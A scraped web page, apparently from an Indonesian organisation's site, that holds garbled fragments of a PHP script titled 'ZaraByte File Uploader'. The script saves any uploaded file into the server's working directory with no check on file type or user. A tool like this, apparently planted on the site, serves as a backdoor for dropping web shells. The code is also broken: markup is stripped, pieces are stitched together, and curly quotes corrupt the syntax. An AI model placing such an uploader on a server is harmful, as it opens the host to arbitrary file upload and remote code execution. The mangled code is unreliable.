Enter your keyword

Visi Misi





ZaraByte File Uploader


setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
$myUpload->uploadFile();
?>
uploadLocation = getcwd().DIRECTORY_SEPARATOR;
}

/**
* This function sets the directory where to upload the file
* In case of Windows server use the form: c:\\temp\\
* In case of Unix server use the form: /tmp/
*
* @param String Directory where to store the files
*/
function setUploadLocation($dir){
$this->uploadLocation = $dir;
}

function showUploadForm($msg=”,$error=”){
?>

‘.$msg.’

‘;
} else if ($error != ”){
echo ‘

‘.$error.’

‘;

}
?>





showUploadForm();
} else {
$msg = ”;
$error = ”;

//Check destination directory
if (!file_exists($this->uploadLocation)){
$error = “The target directory doesn’t exists!”;
} else if (!is_writeable($this->uploadLocation)) {
$error = “The target directory is not writeable!”;
} else {
$target_path = $this->uploadLocation . basename( $_FILES[‘myfile’][‘name’]);

if(@move_uploaded_file($_FILES[‘myfile’][‘tmp_name’], $target_path)) {
$msg = basename( $_FILES[‘myfile’][‘name’]).
” was uploaded successfully!”;
} else{
$error = “The upload process failed!”;
}
}

$this->showUploadForm($msg,$error);
}

}

}
?>